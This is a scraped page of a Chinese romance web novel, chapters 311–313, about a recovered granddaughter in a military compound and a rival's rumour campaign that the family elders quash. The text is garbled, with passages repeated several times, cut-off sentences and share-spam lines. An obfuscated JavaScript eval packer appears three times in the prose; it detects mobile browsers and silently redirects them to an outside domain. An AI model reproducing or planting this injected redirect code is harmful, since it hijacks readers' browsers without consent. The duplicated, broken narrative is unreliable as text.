张姨、小刘和小胡几人看着这其乐融融的一家人,也由衷地为老**感到高兴。 尤其是张姨,激动的眼泪都流下来了。 “姜家的小楼,冷清了这么多年了,没想到还能有这么热闹,老**总算苦尽甘来了。” 消息很快就在大院里传开了。 人们这才恍然大悟,为何姜老爷子两年前就看起来油尽灯枯一样,后来却一天比一天精神,甚至精神焕发。 为何这两年姜老爷子有一半时间都在陆家,甚至一日三餐都在陆家。 原来不是要过继孙子,而是找回了流落在外多年的亲骨肉! 也有些原本想着陆良辰娶了个乡下姑娘的人,不由得又开始感慨,陆良辰真是好运气,在西北都能找到姜老爷子的亲孙女。 以后,姜家的资源可不就都是陆良辰的了。 呵欠,姜老爷子让姜海棠带他去睡觉。 陆良辰陪着姜老爷子在书房下棋。 “你小子,真没想到,能给我老头子带来这样的惊喜。”姜老爷子笑着对陆良辰说:“你们这缘分,或许是老早就注定的。那时候,海棠的妈妈刚怀孕,你就喊着说是小妹妹,还说以后要娶小妹妹。” 这些事,陆良辰早就不记得了,毕竟,只是当年的童言童语,加上那个小妹妹一直都没有出现过,时间长了,也就忘记了。 因此,陆良辰听到姜老爷子,也是很惊讶的,但转念一想,或许,这就是命运的神奇吧。 “爷爷,这说明,我们是缘分天注定。这辈子,我都会对海棠好。” “我相信你,你也算我看着长大的,你是什么样的孩子,我是清楚的。我年龄大了,守护不了海棠母子多长时间了,以后,你要好好照顾他们。” 小桃子原本在一旁玩着带来的新玩具,听到姜老爷子这话,立即扬声说:“大爷爷,我也会好好照顾妈妈哦!小桃子已经不是小孩子了,是大人了。” 原本有些沉重的气氛因为小桃子的稚气语言轻松了很多。 张姨、小刘和小胡几人看着这其乐融融的一家人,也由衷地为老**感到高兴。 尤其是张姨,激动的眼泪都流下来了。 “姜家的小楼,冷清了这么多年了,没想到还能有这么热闹,老**总算苦尽甘来了。” 消息很快就在大院里传开了。 人们这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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人们这才恍然大悟,为何姜老爷子两年前就看起来油尽灯枯一样,后来却一天比一天精神,甚至精神焕发。 为何这两年姜老爷子有一半时间都在陆家,甚至一日三餐都在陆家。 原来不是要过继孙子,而是找回了流落在外多年的亲骨肉! 也有些原本想着陆良辰娶了个乡下姑娘的人,不由得又开始感慨,陆良辰真是好运气,在西北都能找到姜老爷子的亲孙女。 以后,姜家的资源可不就都是陆良辰的了。 呵欠,姜老爷子让姜海棠带他去睡觉。 陆良辰陪着姜老爷子在书房下棋。 “你小子,真没想到,能给我老头子带来这样的惊喜。”姜老爷子笑着对陆良辰说:“你们这缘分,或许是老早就注定的。那时候,海棠的妈妈刚怀孕,你就喊着说是小妹妹,还说以后要娶小妹妹。” 这些事,陆良辰早就不记得了,毕竟,只是当年的童言童语,加上那个小妹妹一直都没有出现过,时间长了,也就忘记了。 因此,陆良辰听到姜老爷子,也是很惊讶的,但转念一想,或许,这就是命运的神奇吧。 “爷爷,这说明,我们是缘分天注定。这辈子,我都会对海棠好。” “我相信你,你也算我看着长大的,你是什么样的孩子,我是清楚的。我年龄大了,守护不了海棠母子多长时间了,以后,你要好好照顾他们。” 小桃子原本在一旁玩着带来的新玩具,听到姜老爷子这话,立即扬声说:“大爷爷,我也会好好照顾妈妈哦!小桃子已经不是小孩子了,是大人了。” 原本有些沉重的气氛因为小桃子的稚气语言轻松了很多。 张姨、小刘和小胡几人看着这其乐融融的一家人,也由衷地为老**感到高兴。 尤其是张姨,激动的眼泪都流下来了。 “姜家的小楼,冷清了这么多年了,没想到还能有这么热闹,老**总算苦尽甘来了。” 消息很快就在大院里传开了。 人们这才恍然大悟,为何姜老爷子两年前就看起来油尽灯枯一样,后来却一天比一天精神,甚至精神焕发。 为何这两年姜老爷子有一半时间都在陆家,甚至一日三餐都在陆家。 原来不是要过继孙子,而是找回了流落在外多年的亲骨肉! 也有些原本想着陆良辰娶了个乡下姑娘的人,不由得又开始感慨,陆良辰真是好运气,在西北都能找到姜老爷子的亲孙女。 以后,姜家的资源可不就都是陆良辰的了。 呵欠,姜老爷子让姜海棠带他去睡觉。 陆良辰陪着姜老爷子在书房下棋。 “你小子,真没想到,能给我老头子带来这样的惊喜。”姜老爷子笑着对陆良辰说:“你们这缘分,或许是老早就注定的。那时候,海棠的妈妈刚怀孕,你就喊着说是小妹妹,还说以后要娶小妹妹。” 这些事,陆良辰早就不记得了,毕竟,只是当年的童言童语,加上那个小妹妹一直都没有出现过,时间长了,也就忘记了。 因此,陆良辰听到姜老爷子,也是很惊讶的,但转念一想,或许,这就是命运的神奇吧。 “爷爷,这说明,我们是缘分天注定。这辈子,我都会对海棠好。” “我相信你,你也算我看着长大的,你是什么样的孩子,我是清楚的。我年龄大了,守护不了海棠母子多长时间了,以后,你要好好照顾他们。” 小桃子原本在一旁玩着带来的新玩具,听到姜老爷子这话,立即扬声说:“大爷爷,我也会好好照顾妈妈哦!小桃子已经不是小孩子了,是大人了。” 原本有些沉重的气氛因为小桃子的稚气语言轻松了很多。 张姨、小刘和小胡几人看着这其乐融融的一家人,也由衷地为老**感到高兴。 尤其是张姨,激动的眼泪都流下来了。 “姜家的小楼,冷清了这么多年了,没想到还能有这么热闹,老**总算苦尽甘来了。” 消息很快就在大院里传开了。 人们这才恍然大悟,为何姜老爷子两年前就看起来油尽灯枯一样,后来却一天比一天精神,甚至精神焕发。 为何这两年姜老爷子有一半时间都在陆家,甚至一日三餐都在陆家。 原来不是要过继孙子,而是找回了流落在外多年的亲骨肉! 也有些原本想着陆良辰娶了个乡下姑娘的人,不由得又开始感慨,陆良辰真是好运气,在西北都能找到姜老爷子的亲孙女。 以后,姜家的资源可不就都是陆良辰的了。 第311章 王家 姜海棠带着孩子在姜家小住的日子过得平静而温馨。 姜老爷子仿佛年轻了好几岁每天最大的乐趣就是围着孙女儿和重孙们转。 清晨他起床第一件事就是陪着醒得早的小桃子在院子里散步听她叽叽喳喳地说着童言稚语偶尔会教她打拳。 不得不说 陪着小桃子玩一会儿后姜老爷子会带着笑去上班。 他现在年龄大了按照年龄该退休了但因为是开国元勋级别的暂时没有退担任着职务需要每天去工作单位。 但也只有早上下午单位照顾老同志一般都会让他在家休息除非有重要会议。 下午他抱着小橙子在书房里处理一些简单的文件时不时逗弄一下咿咿呀呀的小家伙 处理完文件之后一般就是和姜海棠祖孙俩坐在洒满阳光的客厅里。 姜老爷子给姜海棠讲一些她父母的事情姜海棠也会给老爷子讲一些自己在西北的故事。 不过姜海棠讲起这些的时候都会很慎重那些艰难的过往她都会忽略过去只讲有趣温馨的故事。 知道在西北的时候有个蔡婶子很照顾姜海棠老爷子还说要去感谢蔡婶子。 他有时陪着老爷子下棋聊天有时带着姜海棠和孩子们在军区大院里散步熟悉环境。 他体贴周到对姜海棠的呵护和对孩子们的疼爱都看在众人眼里。 两个人腻歪的模样儿整个大院里的人都看到了少不得有旧时好友促狭几句。 张姨更是拿出了看家本领变着花样地给姜海棠做好吃的说是要给她好好补补身体。 小胡警卫员也成了“孩子王”经常带着小桃子在院子里玩逗得小姑娘咯咯直笑。 整个姜家小楼都充满了生机勃勃的气息。 倒是陆家老爷子这边因为小桃子不在显得有些无趣到了后来更是不耐烦家里来客人每天闲下来就去姜老爷子家里。 大院里关于姜老爷子找回亲孙女的消息也彻底传开了。 人们的态度各异有真心为老爷子感到高兴的老战友、老部下上门来道喜。 看着姜海棠都连连说“像真像她父亲”。 也有一些人私下里议论多是羡慕陆良辰的好运气以及揣测姜家这庞大的资源将来会如何倾斜。 甚至还有一些阴谋论的认为陆家是不是早 听说看这本书的人都是很幸运的,分享后你的运气会更棒 就知道这个事所以才会让陆良辰去西北并且娶姜海棠。 这些议论偶尔会传到姜海棠耳朵里但她并不在意。 日子重要的是自己舒服别人说什么并不重要。 她更珍惜的是失而复得的亲情和眼前平静的生活。 这边岁月静好但也有不好的人大院里王家的姑娘王雪梅这会子手掌心都快掐破了。 王家在大院里也算是有头有脸的王老爷子早年参加**也是立下了赫赫战功。 职位虽略低于陆、姜两位老爷子但也颇有实权。 到了**勇这一辈也还算争气地位也不低。 只是到了孙辈就有些不成器。 要是平时有王家老爷子在就算是二世祖也能过得好好的偏偏赶上了特殊年代多少人盯着呢。 比如陆家几个孙子为了尽量降低存在感不引人觊觎不得不分散各处。 可是王家的孙子王俊飞从小就是被宠坏了的可没这种觉悟依然横行霸道。 最终王家这个不成器的王俊飞因为和别人抢女人把人给打坏了。 只是他没有想到这次他是踢上铁板了对方不是一无所有的人而是他得罪不起的人。 结果就是王俊飞自己被送到了大牢里更导致全家被清算下放。 王家下放三年多的时间去年因为被王俊飞得罪的人倒台才在亲朋的运作下得以**回来。 他们回来之前还想着通过联姻让家族重回巅峰而他们当时看上的就是各方面都比较优秀的陆良辰。 回来之后知道陆良辰已经在西北结婚媳妇已经怀孕王家人心里不得劲儿。 最不得劲儿的就是王雪梅王雪梅是王俊飞的妹妹是个清秀白皙性格文静是典型的大院闺女。 早年在大院里也是人家人夸的闺女。 王雪梅自小喜欢陆良辰早些年陆良辰还在部队时王母就曾半开玩笑半认真地跟何婉仪提过觉得两家孩子年纪相当 当时何婉仪只笑着打哈哈说孩子们的事得看他们自己缘分并未应承。 王雪梅心里惦记着陆良辰想着总有一天能让陆家同意这门婚事。 却不想突然因为王俊飞全家被下放王雪梅也跟着一起去了乡下。 王雪梅听说陆良辰转业去了西北娶的还是个当地姑娘心里很是不舒服一个乡下姑娘哪里能有自己优秀? 王家 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 父母心里的想法也差不多,觉得陆良辰色令智昏,被个乡下姑娘迷住了,白白浪费了王雪梅这片心意。 王雪梅还曾经偷偷地看过几次姜海棠,看到姜海棠长相出众。 但她觉得,自己就算容貌不如姜海棠,但是大院里长大的姑娘,和陆良辰更加般配。 她总觉得,如果当初不是自己被下放,陆良辰肯定能娶自己,绝对不会娶一个乡下姑娘。 因此,她笃定地认为陆良辰和姜海棠长久不了。 后来家里介绍的对象也相看了几个,她却总是忍不住拿来和陆良辰比较,结果自然是看谁都不太满意。 一来二去便耽误了下来。 眼见着陆良辰对那个乡下媳妇那样好,心里就更加不舒服了,想着怎么挑拨一下二人的关系,最好搞得二人离了心。 她认为只要二人离心,自己就能有机可乘。 结果姜海棠摇身一变,竟成了姜老爷子的亲孙女! 姜海棠的身份一下子就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229708|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不一样了,比她还要显赫几分。 王老爷子回来后,虽然待遇保留了,可是手里的实权到底不如以前了。 这也是王雪梅相亲对象都不太理想的一个重要原因。 这日,王雪梅又在家里的安排下去相亲。 王雪梅这次相亲的对象,是父亲一位老战友的儿子,刚从外地调回京,在某个清水衙门任职。 这个相亲对象今年二十八岁,年纪比王雪梅还大上几岁,这其实也没什么。 可是,这人丧偶,家里有一个四岁的男孩。 介绍人把对方夸得天花乱坠,说什么前途无量、性格稳重、孩子乖巧。 可一见面,王雪梅就心凉了半截。 对方不仅相貌平平,言谈举止也透着一股算计和世故,他对于王雪梅本人,没多少关心。 席间话里话外都在打听王老爷子还能有多少影响力,王家还有哪些人脉资源。 那个所谓的“乖巧 王雪梅强忍着不快吃完这顿饭,一回家就把自己关进了房间,委屈和愤懑像毒蛇一样啃噬着她的心。 她想不通,自己以前也是大院里人人夸奖落落大方的姑娘,怎么就落到了要和这种条件的男人相亲,还要给人当后妈的地步? 都是因为哥哥不争气,连累了全家! 如果王家还是以前的王家,她何至于此? 她不由又想到了陆良辰,如果当初陆良辰娶了她,有 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 陆家帮忙,他们家当初是不是就不会被下放? 如果陆良辰当初娶的是她,她就不会在乡下那种地方被磋磨好几年。 如果陆良辰当初娶了她,现在被陆良辰呵护着、在大院里风光无限的就是她王雪梅了! 这个念头一旦升起,就再也压不下去。 嫉妒和不甘像野草一样疯长。 她越想越觉得,姜海棠不过是运气好,占了原本该属于她的位置! 什么姜老爷子的亲孙女,谁知道是不是真的? 说不定是看陆家起来了,姜老爷子年纪大了好糊弄,不知道从哪里找来的冒牌货! 阴暗的念头一个接一个地冒出来,如同疯涨的野草,再也控制不住。 王雪梅猛地从床上坐起,出了自家院子,找到一个专门爱说是非的大娘聊天去了。 她不能明着做什么,但她可以善意地提点一下大家。 这位大娘,是大院里最爱嚼舌根的人,平日里无事都要搅和三分雨,何况这件事,大家本来就有疑虑。 不得不说,王雪梅的运气还真挺不错,这时候,不光这位赵大娘在,正好还有一个爱嚼舌根的丁大娘也在。 看到王雪梅,两个人装作关心地和她打招呼。 王雪梅也正好想和两个人搭话,便站定说了几句。 话题不知不觉就被引到了姜海棠的身上。 第312章 俩老头出马 王雪梅似是不经意地说,姜老**年事已高,这么多年,没有血脉后人是心里的刺,怎么偏巧就出现了姜海棠这么个人? 都二十年时间了,姜海棠出现的时间地点也太巧合了。 又说西北那么大,怎么就偏偏让她遇到了陆良辰。 然后又说到一个农村姑娘,哪来的本事当上技术员还会外语? 甚至,王雪梅还有意无意地引导了一下,会不会是别有用心的人精心安排的? 陆家是不是从中扮演了什么角色? 果然,两位大娘眼里开始闪烁着激动的光,似乎找了新的关注点。 可不是,就说这事情处处都是诡异,看来不光是她们这么想,王家这闺女也是一样的想法嘞。 王雪梅说完,又解释,自己不过是随意猜测,让她们不要随便传闲话,就急匆匆的走了。 等离开了两个人的视线,王雪梅心里闪过一丝快意,仿佛已经看到了流言四起,姜海棠百口莫辩的场景。 果然,不过两三天,大院里关于姜海棠身份的议论就多了起来,而且比起之前单纯的羡慕嫉妒,这次多了一些恶意的揣测和“合理”的质疑。 “听说了吗?有人说她那身份证明可能有问题……” “是啊,西北那边以前多乱啊,**也不是没可能……” “姜老那是思孙心切,万一被人钻了空子……” “陆家估计也是将计就计,反正娶谁不是娶,还能搭上姜老这条线……” “这要是间谍,该怎么办啊……” 这些话语隐隐约约地飘到姜家和陆家人的耳朵里。 张姨最先气不过,在外面听了一耳朵闲话,回来就忿忿不平地学给姜老爷子听。 姜老爷子听后,脸色顿时沉了下来,花白的眉毛紧紧拧在一起。 他没有立刻发作,而是先叫来了秘书小刘。 “去查查,这些话是从哪儿传出来的。”老爷子冷着脸安排,“我姜国柱的孙女,还轮不到别人在背后嚼舌根!这是打算要我姜国柱的命!” 小刘秘书立刻领命而去。 姜海棠当然知道,自己的身份绝对是真的,她耐心地安慰着姜老爷子:“爷爷,许是有人嫉妒我,传点儿闲话,您别往心里去。要是因为这些闲话伤了身体,才真是不划算。” 她其实并没有太意外,树大招风,她早有心理准备。 王婶正好也听到了,回到家里,就给何婉仪说了外面的流言蜚语。 当天晚上,何婉仪就将 外面的传言对家里其他人说了。 陆老爷子觉得,这是有人处心积虑想让自己倒台呢,因此,立即安排人去查。 这时候,王雪梅见初期的谣言似乎起了点效果,胆子更大了些。 她偷偷找到以前的一个小姐妹,如今在档案部门工作的。 她拐弯抹角地打听当年的消息,想着能查到西北那边早期人事档案的疏漏,从中找到姜海棠身份疑点。 她觉得,只要找到一点点关于姜海棠的污点,就能将姜海棠彻底打垮。 到了那时候,为了自保,陆良辰势必要做出取舍,她也就有机会乘虚而入了。 陆良辰这么好的男人,只要她想法子和他发生点什么,肯定能成功嫁到陆家去。 等自己嫁到陆家,王家也能跟着沾光。 她的小动作虽然隐蔽,但在姜老爷子和陆家有心查证的情况下,还是露出了马脚。 小刘秘书很快顺着线索摸到了王家这边。 陆老爷子得知后,气得差点就撸袖子上门找王家算账了,却被姜老爷子给劝住了。 “老陆,稍安勿躁。直接打上门去,反而落了下乘,显得我们仗势欺人,正好给了那些背后嚼舌根的人更多话柄。” “那咱们就这么忍下来?这可是被别人欺负到头上了。”陆老爷子还是很气。 “他们王家不是喜欢背后耍阴招,那我们也背后运作就行。” 姜老爷子脸色非常不好看,他到了这把年龄,统共只有这么一个孙女儿,谁都不能欺负。 想要在他姜家人的头上屙屎屙尿,也不看看是不是那块料。 “你啥意思?”陆老爷子问。 “王家第三代是真的废了,王俊飞不是个好的,以前看着还行的王雪梅,也是个拎不清的。” “女债父偿,不管王雪梅做了什么,我们都记到王家长辈头上就行,谁让他们不好好的教养孩子。”姜老爷子目光中都是狠厉。 陆老爷子说:“**勇这个人,能力是有的,就是心思太活络,以前就想走捷径。这次他女儿敢这么干,未必没有他的纵容或者疏忽。得敲打敲打,让他管好自家的人。” 姜老爷子点头:“我听说王家那小子在**农场表现并不好,不光不好好干活,还招惹是非,偏偏王家就这么一个男孙,最近正四处活动想给他减刑或者保外就医。” 哼,要不是他们动到自己头上,他才懒得搭理他们,可谁让他们不学好? 陆老爷子冷笑一声:“呵,那就从这儿入手。 老姜头,咱们老哥俩这些年都不曾伸出利爪,以至于让有些人都忘了,我们当年也是狠人。” 两兄弟的关系好,也是从当初抗战的时候就有基础的,当年的两个狠人,惺惺相惜! “你那边和老周打个招呼,王家小子的事,一切按规章制度办,不符合政策要求的,一律不准放水。”姜老爷子说:“让他老王先为自家儿孙的破事焦头烂额去,看还有没有心思和闲工夫纵容家中孙女搞小动作。” 陆老爷子点头,“我这就给老周打电话。这点面子他还是会给的。” 姜老爷子接着安排秘书小刘:“小刘,你去一趟组织部老李那里,就以我的名义,闲聊几句。就说听说最近有些同志精力没放在正道上,总关心些家长里短、捕风捉影的事,甚至影响到正常工作了。” 小刘立即答应下来,这事儿好办,肯定能成。 想了想,姜老爷子又说:“特别是家里有子女行为不端的,更要注意影响,管好自己、管好家人,才是对组织负责,别的不用多说,老李是聪明人。” 这话看似没点名,但指向性极强。 组织部的老李是个明白人,自然会找**勇,提醒他注意家风和影响。 这对于正在谋求恢复地位甚至更进一步的**勇来说,无疑是敲一蒙棍。 小刘出去之后,陆老爷子语气更冷了几分。 “那个在档案部门帮王家姑娘打听事的,查清楚是谁。这种违反纪律、私自泄露信息的行为,绝不能姑息。把情况反映给她单位的领导,要求严肃处理。” 就算是帮凶,陆老爷子也不打算放过。 姜家和陆家的事情,是谁想打听就能打听的? 姜老爷子又道:“大院里的风言风语也不能放任,**阵地,我们不能丢,省得有人用这个攻击咱们老哥俩。” 现在的风气虽然宽松了,可到底还是要小心,省得出事了,再后悔可就来不及了。 “这个容易,我让家里两个儿媳妇还有孙媳妇多出去串串门,和人聊天的时候,就夸海棠多么懂事、孝顺,和良辰感情多好,两个孩子多招人喜欢。” “再不经意地透露一下,海棠和姜老早就确认过亲缘关系了,确认无疑,那些乱传闲话的,纯属嫉妒瞎扯淡。” 姜老爷子赞同,想了想,觉得还应该再加强一下。 “下周末,我在家里设个宴,就请几家关系近的老伙计和老部下,正式把海棠介绍给大家。到时候,我看谁还敢乱嚼舌根!” 两位老爷子你 一言我一语,很快制定了一套组合拳。 两个老人家制定的方案,那是将权力和资源在合理程序和规矩范围以内应用得彻底。 更重要的是,这样能精准地打到王家的痛处,让王家有苦说不出。 同时,还能有效平息谣言,抬高姜海棠在大院里的地位。 开玩笑呢,陆家和姜家两家,要是让王家一个小丫头片子给欺负了,那估计要被其他人笑话几十年了。 商量完了正事儿,姜老爷子忽然翻脸了。 “我说老陆头,这事儿,陆良辰这小子也有错,招惹的都是什么烂桃花。” 这事情,虽然是王家那小丫头子闹出来的,但也是陆良辰的错。 陆老爷子张张嘴,不知道该怎么说话了。 当爷爷的,自然不知道孙子和这个王家姑娘是不是有什么关系。 因此,这时候面对老友的指责,还真有些底气不足。 但陆老爷子是谁?那是久经沙场的老同志了。 “这事儿你也别生气,我觉得,这小子眼光没有这么差,那王雪梅算个什么东西,也能入得了我孙子的眼?他眼光高着呢,要不咋就看上海棠这闺女了?” 陆老爷子还是很会说话的,这不,一番话把姜老头儿给捧得开开心心的。 姜老爷子本来也就是气儿不顺,没有真的想怪罪陆良辰,因此这事儿也就算过去了。 “以后,这小子我得好好敲打一下,可不能让他犯糊涂。” “不用你敲打,我盯着他,要是他有对不起海棠的地方,咱老哥俩一起上!” 几天后,**勇就敏锐地感觉到了不对劲。 虽然说重新回到京城之后,确实不像以前那样风光了,但也不至于像现在这样举步维艰。 好像是被人刻意针对一样! 先是儿子的减刑申请被明确驳回,理由是其表现未达标。 都是走关系的事儿,什么达标不达标的,这不是扯谎呢? 一言我一语,很快制定了一套组合拳。 两个老人家制定的方案,那是将权力和资源在合理程序和规矩范围以内应用得彻底。 更重要的是,这样能精准地打到王家的痛处,让王家有苦说不出。 同时,还能有效平息谣言,抬高姜海棠在大院里的地位。 开玩笑呢,陆家和姜家两家,要是让王家一个小丫头片子给欺负了,那估计要被其他人笑话几十年了。 商量完了正事儿,姜老爷子忽然翻脸了。 “我说老陆头,这事儿,陆良辰这小子也有错,招惹的都是什么烂桃花。” 这事情,虽然是王家那小丫头子闹出来的,但也是陆良辰的错。 陆老爷子张张嘴,不知道该怎么说话了。 当爷爷的,自然不知道孙子和这个王家姑娘是不是有什么关系。 因此,这时候面对老友的指责,还真有些底气不足。 但陆老爷子是谁?那是久经沙场的老同志了。 “这事儿你也别生气,我觉得,这小子眼光没有这么差,那王雪梅算个什么东西,也能入得了我孙子的眼?他眼光高着呢,要不咋就看上海棠这闺女了?” 陆老爷子还是很会说话的,这不,一番话把姜老头儿给捧得开开心心的。 姜老爷子本来也就是气儿不顺,没有真的想怪罪陆良辰,因此这事儿也就算过去了。 “以后,这小子我得好好敲打一下,可不能让他犯糊涂。” “不用你敲打,我盯着他,要是他有对不起海棠的地方,咱老哥俩一起上!” 几天后,**勇就敏锐地感觉到了不对劲。 虽然说重新回到京城之后,确实不像以前那样风光了,但也不至于像现在这样举步维艰。 好像是被人刻意针对一样! 先是儿子的减刑申请被明确驳回,理由是其表现未达标。 都是走关系的事儿,什么达标不达标的,这不是扯谎呢? 一言我一语,很快制定了一套组合拳。 两个老人家制定的方案,那是将权力和资源在合理程序和规矩范围以内应用得彻底。 更重要的是,这样能精准地打到王家的痛处,让王家有苦说不出。 同时,还能有效平息谣言,抬高姜海棠在大院里的地位。 开玩笑呢,陆家和姜家两家,要是让王家一个小丫头片子给欺负了,那估计要被其他人笑话几十年了。 商量完了正事儿,姜老爷子忽然翻脸了。 “我说老陆头,这事儿,陆良辰这小子也有错,招惹的都是什么烂桃花。” 这事情,虽然是王家那小丫头子闹出来的,但也是陆良辰的错。 陆老爷子张张嘴,不知道该怎么说话了。 当爷爷的,自然不知道孙子和这个王家姑娘是不是有什么关系。 因此,这时候面对老友的指责,还真有些底气不足。 但陆老爷子是谁?那是久经沙场的老同志了。 “这事儿你也别生气,我觉得,这小子眼光没有这么差,那王雪梅算个什么东西,也能入得了我孙子的眼?他眼光高着呢,要不咋就看上海棠这闺女了?” 陆老爷子还是很会说话的,这不,一番话把姜老头儿给捧得开开心心的。 姜老爷子本来也就是气儿不顺,没有真的想怪罪陆良辰,因此这事儿也就算过去了。 “以后,这小子我得好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“以后,这小子我得好好敲打一下,可不能让他犯糊涂。” “不用你敲打,我盯着他,要是他有对不起海棠的地方,咱老哥俩一起上!” 几天后,**勇就敏锐地感觉到了不对劲。 虽然说重新回到京城之后,确实不像以前那样风光了,但也不至于像现在这样举步维艰。 好像是被人刻意针对一样! 先是儿子的减刑申请被明确驳回,理由是其表现未达标。 都是走关系的事儿,什么达标不达标的,这不是扯谎呢? 一言我一语,很快制定了一套组合拳。 两个老人家制定的方案,那是将权力和资源在合理程序和规矩范围以内应用得彻底。 更重要的是,这样能精准地打到王家的痛处,让王家有苦说不出。 同时,还能有效平息谣言,抬高姜海棠在大院里的地位。 开玩笑呢,陆家和姜家两家,要是让王家一个小丫头片子给欺负了,那估计要被其他人笑话几十年了。 商量完了正事儿,姜老爷子忽然翻脸了。 “我说老陆头,这事儿,陆良辰这小子也有错,招惹的都是什么烂桃花。” 这事情,虽然是王家那小丫头子闹出来的,但也是陆良辰的错。 陆老爷子张张嘴,不知道该怎么说话了。 当爷爷的,自然不知道孙子和这个王家姑娘是不是有什么关系。 因此,这时候面对老友的指责,还真有些底气不足。 但陆老爷子是谁?那是久经沙场的老同志了。 “这事儿你也别生气,我觉得,这小子眼光没有这么差,那王雪梅算个什么东西,也能入得了我孙子的眼?他眼光高着呢,要不咋就看上海棠这闺女了?” 陆老爷子还是很会说话的,这不,一番话把姜老头儿给捧得开开心心的。 姜老爷子本来也就是气儿不顺,没有真的想怪罪陆良辰,因此这事儿也就算过去了。 “以后,这小子我得好好敲打一下,可不能让他犯糊涂。” “不用你敲打,我盯着他,要是他有对不起海棠的地方,咱老哥俩一起上!” 几天后,**勇就敏锐地感觉到了不对劲。 虽然说重新回到京城之后,确实不像以前那样风光了,但也不至于像现在这样举步维艰。 好像是被人刻意针对一样! 先是儿子的减刑申请被明确驳回,理由是其表现未达标。 都是走关系的事儿,什么达标不达标的,这不是扯谎呢? 一言我一语,很快制定了一套组合拳。 两个老人家制定的方案,那是将权力和资源在合理程序和规矩范围以内应用得彻底。 更重要的是,这样能精准地打到王家的痛处,让王家有苦说不出。 同时,还能有效平息谣言,抬高姜海棠在大院里的地位。 开玩笑呢,陆家和姜家两家,要是让王家一个小丫头片子给欺负了,那估计要被其他人笑话几十年了。 商量完了正事儿,姜老爷子忽然翻脸了。 “我说老陆头,这事儿,陆良辰这小子也有错,招惹的都是什么烂桃花。” 这事情,虽然是王家那小丫头子闹出来的,但也是陆良辰的错。 陆老爷子张张嘴,不知道该怎么说话了。 当爷爷的,自然不知道孙子和这个王家姑娘是不是有什么关系。 因此,这时候面对老友的指责,还真有些底气不足。 但陆老爷子是谁?那是久经沙场的老同志了。 “这事儿你也别生气,我觉得,这小子眼光没有这么差,那王雪梅算个什么东西,也能入得了我孙子的眼?他眼光高着呢,要不咋就看上海棠这闺女了?” 陆老爷子还是很会说话的,这不,一番话把姜老头儿给捧得开开心心的。 姜老爷子本来也就是气儿不顺,没有真的想怪罪陆良辰,因此这事儿也就算过去了。 “以后,这小子我得好好敲打一下,可不能让他犯糊涂。” “不用你敲打,我盯着他,要是他有对不起海棠的地方,咱老哥俩一起上!” 几天后,**勇就敏锐地感觉到了不对劲。 虽然说重新回到京城之后,确实不像以前那样风光了,但也不至于像现在这样举步维艰。 好像是被人刻意针对一样! 先是儿子的减刑申请被明确驳回,理由是其表现未达标。 都是走关系的事儿,什么达标不达标的,这不是扯谎呢? 第313章 王雪梅的执念 之前打通的关系看他茫然的样子,知道**勇这还没闹明白到底发生了什么事儿呢。 叹一口气,最终还是暗示他。 “老王啊,最近风声紧,上面有人发话了,要严格按规章办事,你儿子的事……缓缓吧,别再活动了,影响不好。” 紧接着,组织部领导找他谈话,语气温和,内容却让他冷汗直流。 领导强调了干部家风建设的重要性,提醒他要约束好家人言行,不要因私废公,更不要给组织添麻烦。 虽然没点名,但**勇瞬间就想到了最近心神不宁的女儿和院里那些关于姜家的风言风语。 然后,他得知女儿那个在档案部门的朋友因为违反工作纪律,被单位通报批评,调离了原岗位。 原本想着回家问问女儿,到底是怎么回事,谁知道刚开口,就看到王雪梅吓得脸色惨白,人都开始颤抖了。 想到女儿在乡下那几年,总念叨着,等回到了京城就要和陆良辰在一起。 那时候,他们觉得,给女儿留一点点念想也好,最起码有念想,才能在那样的环境下生活下来。 可是,却没想到,对于女儿来说,那不光是念想,而是执念。 **勇意识到,这次的风波可能与女儿有关系。 一番逼问后,王雪梅吞吞吐吐地承认了自己做过的那些蠢事。 **勇气红了脸,一切都串起来了! 这个死丫头不学好,搅动是非,招惹到了姜家和陆家,现在姜家和陆家出手了! 她怎么不想想,陆家和姜家能在这场浩劫中存活下来,得有多大的能耐? 人家根本不用直接面对面对质,甚至连多余问一句都没有,轻描淡写地几下,就让他王家寸步难行,颜面尽失! 他气得浑身发抖,指着王雪梅,半晌才骂出一句:“成事不足败事有余的东西!我们王家要被你害**!” **勇想了再三之后,觉得不能放任不管,事情总要解决的。 他严令禁止王雪梅再出门,就连上班都不许王雪梅再去,而是给她请了假。 这个死丫头,再让她出去,还说不定会惹出什么是非呢。 他知道,这件事靠着自己一个人,肯定解决不了,关键时候,还是得找老父亲帮忙。 王老爷子听到孙女儿竟然惹出如此祸事之后,气得差点儿心梗。 他虽然回到大院里了,看着好像一切都没有变化,可是,怎么可能真的没有变化? 离开几年时间,时移世易, 你的朋友正在书荒,快去帮帮他吧 手里再也没有当初的实权了说话别人也不当一回事了。 偏生孙子孙女都是不争气的东西除了惹事一点忙都帮不了。 王老爷子脸色铁青胸口剧烈起伏好半晌才缓过气来。 他颤抖着手指着**勇又指向缩在角落里瑟瑟发抖的王雪梅痛心疾首地骂道:“糊涂!愚蠢!我王家的脸都被你们丢尽了!” 他深吸几口气强压下怒火浑浊的老眼里闪过一丝疲惫。 这件事必须低头而且要低得足够彻底才能求得姜、陆两家的谅解保住王家最后一点体面。 